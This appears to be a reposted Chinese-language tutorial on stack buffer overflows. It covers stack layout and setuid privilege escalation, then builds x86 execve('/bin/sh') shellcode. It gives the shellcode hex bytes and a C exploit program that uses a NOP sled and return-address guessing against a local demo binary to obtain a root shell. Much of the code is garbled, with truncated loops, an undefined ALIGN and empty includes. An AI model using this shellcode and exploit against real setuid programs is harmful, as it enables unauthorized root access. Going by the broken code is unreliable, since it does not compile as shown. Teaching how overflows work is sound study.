溢出原理
一:基礎知識?
計算機內存運行分配的區域分為3個?
程序段區域:不允許寫的?
數據段區域:靜態全局變量是位于數據段并且在程序開始運行的時候被加載?
堆棧區域:放置程序的動態的用于計算的局部和臨時變量則分配在堆棧里面和在過程調用中壓入的返回地?
址數據。堆棧是一個先入后出的隊列。一般計算機系統堆棧的方向與內存的方向相反。壓棧的操作push=?
ESP-4,出棧的操作是pop=ESP+4.?
在一次函數調用中,堆棧中將被依次壓入:參數,返回地址,EBP。如果函數有局部變量,接下來,就在?
堆棧中開辟相應的空間以構造變量。函數執行結束,這些局部變量的內容將被丟失。但是不被清除。在函?
數返回的時候,彈出EBP,恢復堆棧到函數調用的地址,彈出返回地址到EIP以繼續執行程序。?
在C語言程序中,參數的壓棧順序是反向的。比如func(a,b,c)。在參數入棧的時候,是:先壓c,再壓?
b,最后a.在取參數的時候,?
指令執行的圖例:?
指令區域?
執行程序區?
0?1?2?3?
0?
4?
8?調用100處的函數,參數1(3位),2(10位)?
C?
10?
0?1?2?3?
100?執行處理?
104?
108?
10C?
110?返回調用?
堆棧區域?
0?1?2?3?
如果EBP分配的空間不夠操作就是產生溢出的地方?
200?保存以前的EBP4位(數據段的指針,用于可以使用局部動態?
變量)現在的EBP等于當前的ESP-動態數據的大小值?,?
ESP=200?
204?0C?00?00?00?
此處是程序的返回地址?
208?參數1,填充1位?
20C?參數2填充2位?
210?
講解例子WIN下的程序DEMO,演示參數導致的返回地址的變化?
講清主要4位的填充問題?
另外溢出還會導致數據段的改變?
3:如何利用堆棧溢出?
原理可以概括為:由于字符串處理函數(gets,strcpy等等)沒有對數組越界加以監視和限制,我們利用?
字符數組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。?在DEMO的例子中,這導致CPU去訪問?
一個不存在的指令,結果出錯。事實上,我們已經完全的控制了這個程序下一步的動作。如果我們用一個?
實際存在指令地址來覆蓋這個返回地址,CPU就會轉而執行我們的指令。?
那么有什么用呢,就算使得我們的程序可以跳轉執行一些代碼,如何用他來突破系統限制來獲得權限呢??
二:系統權限知識?
UNIX系統在運行的時候的權限檢查主要是根據UID,GID,SID?三個標來檢查的,主要根據SID來檢查權限?
SU系統調用就是SID變成SU的對象?
S粘貼位使得運行程序的人具有該程序擁有者一樣的權限?
中斷ROOT的S粘貼位的程序就可以獲得超級用戶的權限,SID位置沒被調用返回修改回來。?
VI的S粘貼位可以中斷的例子?
在UINX系統中,我們的指令可以執行一個shell,這個shell將獲得和被我們堆棧溢出的程序相同的權限。?
如果這個程序是setuid的,那么我們就可以獲得root?shell。?
三:溢出突破權限的實現?
首先要編寫SHELLCODE的2進制代碼作為溢出的參數進行傳入:?
shellcode的C程序?
注意:execve函數將執行一個程序。他需要程序的名字地址作為第一個參數。一個內容為該程序的?
argv[i](argv[n-1]=0)的指針數組作為第二個參數,以及(char*)?0作為第三個參數。?
我們來看以看execve的匯編代碼:?
0x804ce7c?<__execve>:?push?%ebp?‘保存以前的數據段地址?
0x804ce7d?<__execve+1>:?mov?%esp,%ebp?‘使得當前數據段指向堆棧?
0x804ce7f?<__execve+3>:?push?%edi?
0x804ce80?<__execve+4>:?push?%ebx?‘保存?
0x804ce81?<__execve+5>:?mov?0x8(%ebp),%edi?‘ebp+8是第一個參數"/bin/sh\0"?
0x804ce84?<__execve+8>:?mov?$0x0,%eax?‘清0?
0x804ce89?<__execve+13>:?test?%eax,%eax?
0x804ce8b?<__execve+15>:?je?0x804ce92?<__execve+22>?
0x804ce8d?<__execve+17>:?call?0x0?
0x804ce92?<__execve+22>:?mov?0xc(%ebp),%ecx?‘設置NAME[0]參數,4字節對齊?
0x804ce95?<__execve+25>:?mov?0x10(%ebp),%edx,設置NAME[1]參數,4字節對齊?
0x804ce98?<__execve+28>:?push?%ebx?
0x804ce99?<__execve+29>:?mov?%edi,%ebx?
0x804ce9b?<__execve+31>:?mov?$0xb,%eax?‘設置XB號調用?
0x804cea0?<__execve+36>:?int?$0x80?‘調用執行?
0x804cea2?<__execve+38>:?pop?%ebx?
0x804cea3?<__execve+39>:?mov?%eax,%ebx?
0x804cea5?<__execve+41>:?cmp?$0xfffff000,%ebx?
0x804ceab?<__execve+47>:?jbe?0x804cebb?<__execve+63>?
0x804cead?<__execve+49>:?call?0x8048324?<__errno_location>?
0x804ceb2?<__execve+54>:?neg?%ebx?
0x804ceb4?<__execve+56>:?mov?%ebx,(%eax)?
0x804ceb6?<__execve+58>:?mov?$0xffffffff,%ebx?
0x804cebb?<__execve+63>:?mov?%ebx,%eax?
0x804cebd?<__execve+65>:?lea?0xfffffff8(%ebp),%esp?
0x804cec0?<__execve+68>:?pop?%ebx?
0x804cec1?<__execve+69>:?pop?%edi?
0x804cec2?<__execve+70>:?leave?
0x804cec3?<__execve+71>:?ret?
精練的調用方法是?
0x804ce92?<__execve+22>:?mov?0xc(%ebp),%ecx?‘設置NAME[0]參數,4字節對齊?
0x804ce95?<__execve+25>:?mov?0x10(%ebp),%edx,設置NAME[1]參數,4字節對齊?
0x804ce9b?<__execve+31>:?mov?$0xb,%eax?‘設置XB號調用?
0x804cea0?<__execve+36>:?int?$0x80?‘調用執行?
另外要執行一個exit()系統調用,結束shellcode的執行。?
0x804ce60?<_exit>:?mov?%ebx,%edx?
0x804ce62?<_exit+2>:?mov?0x4(%esp,1),%ebx?設置參數0?
0x804ce66?<_exit+6>:?mov?$0x1,%eax?‘1號調用?
0x804ce6b?<_exit+11>:?int?$0x80?
0x804ce6d?<_exit+13>:?mov?%edx,%ebx?
0x804ce6f?<_exit+15>:?cmp?$0xfffff001,%eax?
0x804ce74?<_exit+20>:?jae?0x804d260?<__syscall_error>?
那么總結一下,合成的匯編代碼為:?
mov?0xc(%ebp),%ecx?
mov?0x10(%ebp),%edx?
mov?$0xb,%eax?
int?$0x80?
mov?0x4(%esp,1),%ebx?
mov?$0x1,%eax?
int?$0x80?
但問題在于我們必須把這個程序作為字符串的參數傳給溢出的程序進行調用,如何來分配和定位字符串“?
/bin/sh”,還得有一個name數組。我們可以構造它們出來,可是,在shellcode中如何知道它們的地址呢?
?每一次程序都是動態加載,字符串和name數組的地址都不是固定的。?
利用call壓入下一條語句的返回地址,把數據作為下一條指令我們就可以達到目的。?
Jmp?CALL?
Popl?%esi?‘利用CALL彈出壓入的下一條語句的地址,其實就是我們構造的字符串的地址?
movb?$0x0,0x7(%esi)?‘輸入0的字符串為結尾?
mov?%esi,0X8?(%esi)?‘構造NAME數組,放如字串的地址作為NAME[0]?
mov?$0x0,0xc(%esi)?‘構造NAME[1]為NULL,?NAME[0]為4位地址,所以偏移為0xc?
mov?%esi,%ebx?‘設置數據段開始的地址?
leal?0x8(%esi),%ecx?‘設置參數1?
leal?0xc(%esi),%edx?‘設置參數2?
mov?$0xb,%eax?‘設置調用號?
int?$0x80?‘調用?
mov?$0x0,%ebx?
mov?$0x1,%eax?
int?$0x80?
Call?popl?
.string?\"/bin/sh\"?
然后通過C編譯器編寫MYSHELLASM.C?
運行出錯,原因代碼段不允許進行修改,但是對于我們溢出是可以的,原因在于溢出是在數據段運行的,?
通過GDB查看16進制碼,倒出ASCII字符寫出TEST.C程序來驗證MYSHELLASM可以運行?
ret?=?(int?*)&ret?+?2;?//ret?等于main()執行完后的返回系統的地址?
//(+2是因為:有pushl?ebp?,否則加1就可以了。)?
但是在堆棧溢出中,關鍵在于字符串數組的寫越界。但是,gets,strcpy等字符串函數在處理字符串的時?
候,以"\0"?為字符串結尾。遇\0就結束了寫操作。Myshell中有0X00的字符存在。?
把所有賦予0的操作用異或或者MOV已知為0的寄存器賦值來完成?
jmp?0x1f?
popl?%esi?
movl?%esi,0x8(%esi)?
xorl?%eax,%eax?
movb?%eax,0x7(%esi)?
movl?%eax,0xc(%esi)?
movb?$0xb,%al?
movl?%esi,%ebx?
leal?0x8(%esi),%ecx?
leal?0xc(%esi),%edx?
int?$0x80?
xorl?%ebx,%ebx?
movl?%ebx,%eax?
inc?%eax?
int?$0x80?
call?-0x24?
.string?\"/bin/sh\"?
匯編得出的?
shellcode?=?
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"?
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"?
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";?
我們開始來寫一個攻擊DEMO溢出的例子?
1:把我們的shellcode提供給他,讓他可以訪問shellcode。?
2:修改他的返回地址為shellcode的入口地址。?
對于strcpy函數,我們要知道被溢出的緩沖的的地址。對于操作系統來說,一個shell下的每一個程序的?
堆棧段開始地址都是?相同的?。我們需要內部寫一個調用來獲得運行時的堆棧起始地址,來知道了目標程?
序堆棧的開始地址。?
(所有C函數的返回值都放在eax?寄存器?里面):?
unsigned?long?get_sp(void)?{?
__asm__("movl?%esp,%eax");?
}?
buffer相對于堆棧開始地址的偏移,對于DEMO我們可以計算出來,但對于真正有溢出毛病的程序我們在沒?
有源代碼和去跟蹤匯編是無法計算出的,只能靠猜測了。不過,一般的程序堆棧大約是?幾K?左右。為了?
提高命中率,增加溢出的SHELLCODE的長度和NOP指令,NOP指令的機器碼為0x90。?同時在我們的程序中允?
許輸入參數來調節溢出點。?
#include?
#include?
#define?OFFSET?0?
#define?RET_POSITION?120?
#define?RANGE?20?
#define?NOP?0x90?
char?shellcode[]=?
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"?
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"?
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";?
unsigned?long?get_sp(void)?
{?
__asm__("movl?%esp,%eax");?
}?
main(int?argc,char?**argv)?
{?
char?buff[RET_POSITION+RANGE+1],*ptr;?
long?addr;?
unsigned?long?sp;?
int?offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;?
int?i;?
if(argc>1)?
offset=atoi(argv[1]);?
sp=get_sp();?
addr=sp-offset;?
for(i=0;i?*((long?*)&(buff[i]))=addr;?
for(i=0;i?buff[i]=NOP;?
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;?
for(i=0;i?*(ptr++)=shellcode[i];?
buff[bsize-1]="\0"?
for(i=0;i<132;i++)?
printf("0x%08x\n",buff[i]);?
printf("Jump?to?0x%08x\n",addr);?
execl("./demo","demo",buff,0);?
}?
注意,如果發現溢出允許的空間不足夠SHELLCODE的代碼,那么可以把地址放到前面去,SHELLCODE放在地址的后面,程序進行一些改動,原理一致。。。?
轉載于:https://www.cnblogs.com/hack/archive/2009/09/16/1567429.html
總結
- 上一篇: [字符集]Unicode和UTF-8之间
- 下一篇: 批量正则替换某文件夹中代码(div id